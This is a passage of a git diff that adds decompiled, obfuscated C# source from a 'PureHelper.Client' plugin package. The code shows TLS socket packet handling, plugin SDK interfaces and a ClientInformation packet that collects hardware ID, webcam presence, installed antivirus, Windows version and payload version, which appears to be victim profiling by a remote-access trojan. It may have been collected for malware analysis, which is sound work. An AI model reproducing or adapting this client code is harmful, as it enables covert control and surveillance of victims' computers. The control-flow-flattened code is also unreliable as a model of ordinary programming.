<= 0) + { + num4 = 29; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cbc10b9a4f014e50ac3911f08194bec9 == 0) + { + num4 = 4; + } + continue; + } + goto case 21; + case 12: + num11 += num6; + num4 = 30; + continue; + case 1: + case 4: + throw new Exception(); + case 14: + if (num5 != 0) + { + num4 = 11; + continue; + } + goto case 8; + case 5: + num6 = 0; + num4 = 14; + continue; + case 15: + num11 += num6; + num4 = 25; + continue; + case 17: + goto IL_0235; + case 6: + case 9: + throw new Exception(); + case 31: + num11 = 0; + num4 = 5; + continue; + case 29: + array = new byte[num5]; + num4 = 31; + continue; + case 23: + if (num6 > 0) + { + num4 = 20; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8e35eb92feeb484bb61c00673e3b1979 != 0) + { + num4 = 29; + } + continue; + } + goto case 2; + case 25: + num5 -= num6; + num4 = 23; + continue; + case 21: + if (num5 < 0) + { + goto case 1; + } + goto IL_02c8; + case 24: + num6 = mVTn2y0ryo.Read(array, num11, num5); + num4 = 8; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c4c52f9da2f74c12af1b90719cab4223 != 0) + { + num4 = 15; + } + continue; + case 18: + if (num5 <= 0) + { + num4 = 9; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_fcfb1a55a15b47b2a0f4975f0e9f4fe5 != 0) + { + num4 = 6; + } + continue; + } + goto case 29; + case 10: + array = new byte[4]; + num4 = 26; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 == 0) + { + num4 = 3; + } + continue; + case 28: + lockTaken = false; + num4 = 13; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_36d48b49d2a245aa8ddb9fb75060fde3 == 0) + { + num4 = 3; + } + continue; + case 26: + num11 = 0; + num4 = 19; + continue; + case 8: + obj = zrlnkFg4nO; + num4 = 28; + continue; + case 7: + case 11: + num6 = mVTn2y0ryo.Read(array, num11, num5); + num4 = 12; + continue; + case 22: + num5 = BitConverter.ToInt32(array, 0); + num4 = 18; + continue; + case 19: + num6 = 0; + num4 = 27; + continue; + case 3: + try + { + Monitor.Enter(obj, ref lockTaken); + int num7 = 8; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 != 0) + { + num7 = 2; + } + while (true) + { + switch (num7) + { + default: + switch (num8) + { + case 990: + break; + default: + goto end_IL_03e2; + case 10: + { + Action action = QYOnf4rxfk; + if (action == null) + { + num7 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9ef44bdeb0384bb3a192f49113a29e33 == 0) + { + num7 = 8; + } + continue; + } + action(arg, this); + num7 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8e8cfe5bffb04a468a4c934b6e89d98f == 0) + { + num7 = 6; + } + continue; + } + } + break; + case 2: + arg = Serialization.PacketDesirialize(array); + num8 = 10; + break; + case 0: + goto end_IL_03e2; + case 1: + goto end_IL_03e2; + } + num7 = num8; + continue; + end_IL_03e2: + break; + } + } + finally + { + int num9; + if (!lockTaken) + { + num9 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5e15ff1dd14a4e0a9b63367783e1c315 != 0) + { + num9 = 5; + } + goto IL_0480; + } + goto IL_049f; + IL_0480: + while (true) + { + switch (num9) + { + default: + if (num10 == 990) + { + goto IL_047e; + } + break; + case 0: + break; + case 1: + goto end_IL_0480; + case 2: + goto end_IL_0480; + } + goto IL_049f; + IL_047e: + num9 = num10; + continue; + end_IL_0480: + break; + } + goto end_IL_0458; + IL_049f: + Monitor.Exit(obj); + num9 = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9187d16b686d4b2fa356c9c894103305 != 0) + { + num9 = 3; + } + goto IL_0480; + end_IL_0458:; + } + break; + case 20: + if (num5 >= 0) + { + num4 = 37; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_7ee321f1774e478e9a3977aac8e8bf0a == 0) + { + num4 = 0; + } + continue; + } + goto case 2; + case 30: + num5 -= num6; + num4 = 13; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5960ab896a62471f85ad7b6ede146b4f == 0) + { + num4 = 27; + } + continue; + case 32: + goto end_IL_0173; + } + break; + } + continue; + IL_02c8: + int num13 = 40; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b0aac02857a444daa99a59abbb107401 == 0) + { + num13 = 21; + } + goto IL_00ad; + IL_0235: + num5 = 4; + num13 = 10; + goto IL_00ad; + IL_00ad: + num12 = num13; + goto IL_00af; + IL_00af: + num4 = num12; + goto IL_00b1; + continue; + end_IL_0173: + break; + } + } + catch + { + int num14 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_781eb1dda25b44d79c819c3ebb4656dd != 0) + { + num14 = 0; + } + while (true) + { + switch (num14) + { + default: + if (num15 == 988) + { + num14 = num15; + continue; + } + break; + case 0: + break; + } + break; + } + } + goto case 3; + } + goto end_IL_0002; + continue; + end_IL_0003: + break; + } + continue; + end_IL_0002: + break; + } + while (num2 == 993); + array = new byte[4]; + num = 12; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a267596e458d4ee3839a403c2d8a3690 == 0) + { + num = 0; + } + } + } + + public bool Send(IPacket pack) + { + int num = 3; + object f19nLsVPsg = default(object); + bool lockTaken = default(bool); + int num4 = default(int); + bool result = default(bool); + byte[] array = default(byte[]); + int num7 = default(int); + int num8 = default(int); + int num9 = default(int); + int num10 = default(int); + byte[] bytes = default(byte[]); + int num12 = default(int); + int num14 = default(int); + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0018; + case 1: + try + { + Monitor.Enter(f19nLsVPsg, ref lockTaken); + int num3 = 7; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_76d8d99b4f1948a480249e3f1408d4e5 == 0) + { + num3 = 2; + } + while (true) + { + switch (num3) + { + default: + if (num4 == 991) + { + num3 = num4; + continue; + } + goto case 2; + case 1: + Dispose(); + num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_caae323a53774cf3a9d226928402337f != 0) + { + num3 = 2; + } + continue; + case 0: + result = false; + num3 = 3; + continue; + case 2: + try + { + int num5; + if (mVTn2y0ryo == null) + { + num5 = 14; + goto IL_00a5; + } + array = Serialization.Ev3No9Wbt(pack); + int num6 = 17; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_76d8d99b4f1948a480249e3f1408d4e5 == 0) + { + num6 = 0; + } + goto IL_00a9; + IL_00a7: + num6 = num7; + goto IL_00a9; + IL_00a9: + while (true) + { + switch (num6) + { + case 14: + throw new InvalidOperationException(); + case 3: + mVTn2y0ryo.Flush(); + num6 = 19; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8607b24874644b3f80653c8326708a0f == 0) + { + num6 = 9; + } + continue; + case 7: + num8 = 0; + num6 = 12; + continue; + case 1: + num8 += num9; + num6 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0eb6b5636bc94506af0ea669ffeed289 == 0) + { + num6 = 15; + } + continue; + case 5: + goto IL_016e; + case 6: + case 12: + if (num8 < num10) + { + num6 = 8; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 != 0) + { + num6 = 21; + } + continue; + } + goto case 3; + case 9: + result = true; + num6 = 16; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c716d44c74c64515ac5068ae3a901c0c != 0) + { + num6 = 11; + } + continue; + case 10: + goto end_IL_00a9; + case 0: + num10 = array.Length; + num6 = 2; + continue; + case 4: + case 8: + num9 = Math.Min(zNann1InO2, num10 - num8); + num6 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8178aef8ab8e4b7bbbc322883b6f4a0e != 0) + { + num6 = 11; + } + continue; + case 2: + bytes = BitConverter.GetBytes(num10); + num6 = 10; + continue; + case 13: + mVTn2y0ryo.Write(array, num8, num9); + num6 = 13; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c97a7c5d45534325bf46c53574165d90 == 0) + { + num6 = 1; + } + continue; + case 11: + goto end_IL_008d; + } + if (num7 != 22) + { + if (num7 == 1002) + { + goto IL_00a7; + } + goto IL_016e; + } + mVTn2y0ryo.Write(bytes, 0, bytes.Length); + num6 = 10; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4 != 0) + { + num6 = 7; + } + continue; + IL_016e: + btgnmmtKTV.Poll(-1, SelectMode.SelectWrite); + num6 = 13; + continue; + end_IL_00a9: + break; + } + btgnmmtKTV.Poll(-1, SelectMode.SelectWrite); + num5 = 15; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_2a8f1f00b92e4ce7b2f8c5951bea8566 == 0) + { + num5 = 22; + } + goto IL_00a5; + IL_00a5: + num7 = num5; + goto IL_00a7; + end_IL_008d:; + } + catch + { + int num11 = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4 != 0) + { + num11 = 0; + } + while (true) + { + switch (num11) + { + case 0: + break; + default: + if (num12 == 988) + { + num11 = num12; + continue; + } + break; + } + break; + } + goto case 1; + } + break; + case 3: + break; + } + break; + } + } + finally + { + int num13; + if (!lockTaken) + { + num13 = 2; + goto IL_0314; + } + goto IL_0349; + IL_0349: + Monitor.Exit(f19nLsVPsg); + num13 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a9147deb311449e1af3e1c05bc2ac7f0 == 0) + { + num13 = 0; + } + goto IL_0314; + IL_0314: + while (true) + { + switch (num13) + { + default: + if (num14 == 990) + { + goto IL_0312; + } + goto end_IL_0314; + case 2: + goto end_IL_0314; + case 1: + break; + case 0: + goto end_IL_0314; + } + goto IL_0349; + IL_0312: + num13 = num14; + continue; + end_IL_0314: + break; + } + } + goto case 0; + case 0: + return result; + case 2: + lockTaken = false; + num2 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cf6b861499bb4e93b913b0104cf85d80 != 0) + { + num2 = 2; + } + continue; + case 3: + break; + } + goto IL_0394; + IL_0018: + if (num == 991) + { + break; + } + goto IL_0394; + IL_0394: + f19nLsVPsg = F19nLsVPsg; + num2 = 2; + } + } + } + + public void Dispose() + { + int num = 4; + int num13 = default(int); + int num15 = default(int); + int num5 = default(int); + int num7 = default(int); + int num17 = default(int); + int num19 = default(int); + int num9 = default(int); + int num11 = default(int); + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 != 17) + { + if (num2 == 998) + { + goto end_IL_0003; + } + goto case 2; + } + try + { + Timer daAnA4mVQA = DaAnA4mVQA; + int num12; + if (daAnA4mVQA == null) + { + num12 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c7a5ecc373d04402a9fed7ce8d825251 != 0) + { + num12 = 2; + } + } + else + { + daAnA4mVQA.Dispose(); + num12 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_261c20461b674ca28c16fc971d3a4e0c == 0) + { + num12 = 8; + } + } + while (true) + { + switch (num12) + { + default: + if (num13 == 990) + { + num12 = num13; + continue; + } + break; + case 1: + case 2: + break; + case 0: + goto end_IL_014c; + } + DaAnA4mVQA = null; + num12 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 == 0) + { + num12 = 2; + } + continue; + end_IL_014c: + break; + } + } + catch + { + int num14 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_2a8f1f00b92e4ce7b2f8c5951bea8566 == 0) + { + num14 = 0; + } + while (true) + { + switch (num14) + { + default: + if (num15 == 988) + { + num14 = num15; + continue; + } + break; + case 0: + break; + } + break; + } + } + goto case 6; + case 3: + return; + case 1: + goto end_IL_0002; + case 0: + try + { + btgnmmtKTV.Shutdown(SocketShutdown.Both); + int num4 = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_105fe2c22724435f9f5e6d6f7a953089 == 0) + { + num4 = 0; + } + while (true) + { + switch (num4) + { + default: + if (num5 == 988) + { + num4 = num5; + continue; + } + break; + case 0: + break; + } + break; + } + } + catch + { + int num6 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_bd4735a32b8243ab87438897f9b05148 == 0) + { + num6 = 3; + } + while (true) + { + switch (num6) + { + default: + if (num7 == 988) + { + num6 = num7; + continue; + } + break; + case 0: + break; + } + break; + } + } + goto case 2; + case 8: + return; + case 6: + QYOnf4rxfk = null; + num3 = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c0850f47ec054590a7b3f2430c11cdb8 != 0) + { + num3 = 5; + } + continue; + case 10: + try + { + SslStream sslStream = mVTn2y0ryo; + int num16; + if (sslStream == null) + { + num16 = 2; + } + else + { + sslStream.Dispose(); + num16 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 != 0) + { + num16 = 1; + } + } + while (true) + { + switch (num16) + { + default: + if (num17 == 990) + { + num16 = num17; + continue; + } + break; + case 1: + case 2: + break; + case 0: + goto end_IL_0212; + } + mVTn2y0ryo = null; + num16 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_648d6c57b0374dfbbd553f38353b5600 != 0) + { + num16 = 5; + } + continue; + end_IL_0212: + break; + } + } + catch + { + int num18 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_81ee24a94370418d8f6e510a7b3de335 != 0) + { + num18 = 0; + } + while (true) + { + switch (num18) + { + default: + if (num19 == 988) + { + num18 = num19; + continue; + } + break; + case 0: + break; + } + break; + } + } + break; + case 4: + if (!JgenJiy1Mg) + { + JgenJiy1Mg = true; + num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c7a5ecc373d04402a9fed7ce8d825251 == 0) + { + num3 = 2; + } + } + else + { + num3 = 3; + } + continue; + case 7: + try + { + Socket socket = btgnmmtKTV; + int num8; + if (socket == null) + { + num8 = 2; + } + else + { + socket.Dispose(); + num8 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f25311c256b24afb83430c7b2ff15b49 == 0) + { + num8 = 8; + } + } + while (true) + { + switch (num8) + { + default: + if (num9 == 990) + { + num8 = num9; + continue; + } + break; + case 0: + case 2: + break; + case 1: + goto end_IL_02f0; + } + btgnmmtKTV = null; + num8 = 7; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_e5c65385218d49eabe93d2332a0aea36 == 0) + { + num8 = 1; + } + continue; + end_IL_02f0: + break; + } + } + catch + { + int num10 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ff6bd260fab74068bc9499bef33e2609 != 0) + { + num10 = 0; + } + while (true) + { + switch (num10) + { + default: + if (num11 == 988) + { + num10 = num11; + continue; + } + break; + case 0: + break; + } + break; + } + } + goto end_IL_0002; + case 2: + num3 = 9; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 == 0) + { + num3 = 10; + } + continue; + case 5: + IsConnected = false; + num3 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_411a01a90e184ccea1d245585f590e75 == 0) + { + num3 = 8; + } + continue; + case 9: + break; + } + num3 = 13; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cb9c626824424572a150665e8d57c6e7 != 0) + { + num3 = 7; + } + continue; + end_IL_0003: + break; + } + continue; + end_IL_0002: + break; + } + num = 17; + } + } + + [CompilerGenerated] + private void CBmiKAfSkN(object P_0) + { + int num = 1; + int num3 = default(int); + int num5 = default(int); + while (true) + { + switch (num) + { + case 989: + break; + default: + return; + case 1: + try + { + cypiw9dgyu(); + int num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_46dcb9aa916148e38083172ad031baf8 != 0) + { + num2 = 1; + } + while (true) + { + switch (num2) + { + case 0: + return; + } + if (num3 != 988) + { + return; + } + num2 = num3; + } + } + catch + { + int num4 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0e9f30f8c3eb41d0a6c7280f73d03d03 != 0) + { + num4 = 0; + } + while (true) + { + switch (num4) + { + case 0: + return; + } + if (num5 != 988) + { + return; + } + num4 = num5; + } + } + } + } + } + + internal static bool tbErS7Lx4OI3Q3xWt4Z() + { + return IFUa5RLux8P613hkmej == null; + } + + internal static PluginClient unEvWGL0BPMfES4KPhR() + { + return IFUa5RLux8P613hkmej; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Enums/EnumPlugins.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Enums/EnumPlugins.cs new file mode 100644 index 0000000..2091c6e --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Enums/EnumPlugins.cs @@ -0,0 +1,14 @@ +using System.Runtime.InteropServices; +using ProtoBuf; + +namespace PluginSDK.Enums; + +[ProtoContract] +[ComVisible(false)] +public enum EnumPlugins +{ + [ProtoEnum(Value = 0)] + None, + [ProtoEnum(Value = 39)] + CustomPlugin +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Interfaces/ICustomPlugin.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Interfaces/ICustomPlugin.cs new file mode 100644 index 0000000..57dc744 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Interfaces/ICustomPlugin.cs @@ -0,0 +1,24 @@ +using System; +using System.Runtime.InteropServices; + +namespace PluginSDK.Interfaces; + +[ComVisible(false)] +public interface ICustomPlugin +{ + string PluginName { get; } + + string PluginVersion { get; } + + string PluginAuthor { get; } + + string PluginDescription { get; } + + bool OnOpen(string title); + + void OnConnected(Action send, Action disconnect); + + void OnPacketReceived(IPacket packet); + + void OnDisconnected(); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Interfaces/IPacket.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Interfaces/IPacket.cs new file mode 100644 index 0000000..84bd4a5 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Interfaces/IPacket.cs @@ -0,0 +1,60 @@ +using System.Runtime.InteropServices; +using E2tn7l8spQ8u1B4B4e; +using JnnwJWiDLh7Po8eBVGw; +using PluginSDK.Packets; +using ProtoBuf; +using RYOllMitLk6uHdHcJkQ; +using XW3iQq2AVWsC9kohc8a; +using qKjs2oinTB1PBa4YHgS; + +namespace PluginSDK.Interfaces; + +[ProtoInclude(90, typeof(CustomPacket))] +[ProtoContract] +[ProtoInclude(35, typeof(FHeE2G5KXmRiAnFP4C))] +[ProtoInclude(5, typeof(SZZ4Q6i70wu0vk54Qir))] +[ProtoInclude(4, typeof(ImPlugin))] +[ProtoInclude(3, typeof(bKDXOAiMg4AVxNIDo0h))] +[ProtoInclude(1, typeof(ClientInformation))] +[ProtoInclude(2, typeof(eUJNyNiiEf2XNus4cpY))] +[ComVisible(false)] +public class IPacket +{ + internal static IPacket mTkyqKLtGjA24FOeaf3; + + public IPacket() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5aa7d9fb4aa84ccf8cbdc56cd8df118d == 0) + { + num = 2; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool myY2T7Lpjgx5Ur3aPUA() + { + return mTkyqKLtGjA24FOeaf3 == null; + } + + internal static IPacket B9kcTuLUG65OKYcFvQu() + { + return mTkyqKLtGjA24FOeaf3; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/ClientInformation.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/ClientInformation.cs new file mode 100644 index 0000000..07dec34 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Packets/ClientInformation.cs @@ -0,0 +1,930 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using PluginSDK.Interfaces; +using ProtoBuf; +using XW3iQq2AVWsC9kohc8a; + +namespace PluginSDK.Packets; + +[ProtoContract] +[ComVisible(false)] +public class ClientInformation : IPacket +{ + [CompilerGenerated] + private string O9BDc2CW1; + + [CompilerGenerated] + private bool GJfBcgJ8m; + + [CompilerGenerated] + private int Rvqg0hPb6; + + [CompilerGenerated] + private string KaV9aZDW9; + + [CompilerGenerated] + private string x0AWhhQJO; + + [CompilerGenerated] + private string znko55gi1; + + [CompilerGenerated] + private string iYhujqJVp; + + [CompilerGenerated] + private string bQgxNKW3f; + + [CompilerGenerated] + private int g8w0qDVKM; + + [CompilerGenerated] + private string UwOerkb4V; + + [CompilerGenerated] + private string wmFH4mEmc; + + [CompilerGenerated] + private int sdH66dl8l; + + [CompilerGenerated] + private string zBhrhTJmF; + + [CompilerGenerated] + private string KVt35jMIE; + + [CompilerGenerated] + private string TTKqOkedF; + + [CompilerGenerated] + private string PbyXpLK4s; + + [CompilerGenerated] + private byte[] pPNhwn6hy; + + [CompilerGenerated] + private string PE5GyEhKs; + + [CompilerGenerated] + private bool XeXbv2dKN; + + [CompilerGenerated] + private string NPajAHbBm; + + internal static ClientInformation HNUBs4L26A7KubZTBXe; + + [ProtoMember(1)] + public string HardwareID + { + [CompilerGenerated] + get + { + return O9BDc2CW1; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 1: + break; + case 0: + return; + } + goto IL_001d; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001d; + IL_001d: + O9BDc2CW1 = o9BDc2CW; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_085cb0dbc3324d8089003c979618ca5d == 0) + { + num2 = 0; + } + } + } + } + } + + [ProtoMember(2)] + public bool Webcam + { + [CompilerGenerated] + get + { + return GJfBcgJ8m; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + GJfBcgJ8m = gJfBcgJ8m; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_bd4735a32b8243ab87438897f9b05148 == 0) + { + num2 = 3; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(3)] + public int LastActivity + { + [CompilerGenerated] + get + { + return Rvqg0hPb6; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + Rvqg0hPb6 = rvqg0hPb; + num2 = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cf4d9648aee544a78a91bdb81022fbbb == 0) + { + num2 = 0; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(4)] + public string AntiVirusSoftware + { + [CompilerGenerated] + get + { + return KaV9aZDW9; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + KaV9aZDW9 = kaV9aZDW; + num2 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_3df293852b674529ae9bfb1be31083d8 == 0) + { + num2 = 0; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(5)] + public string WindowsVersion + { + [CompilerGenerated] + get + { + return x0AWhhQJO; + } + [CompilerGenerated] + internal set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + x0AWhhQJO = text; + num2 = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_7ee321f1774e478e9a3977aac8e8bf0a == 0) + { + num2 = 0; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(6)] + public string PayloadVersion + { + [CompilerGenerated] + get + { + return znko55gi1; + } + [CompilerGenerated] + internal set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 1: + break; + case 0: + return; + } + goto IL_001d; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001d; + IL_001d: + znko55gi1 = text; + num2 = 1; + if 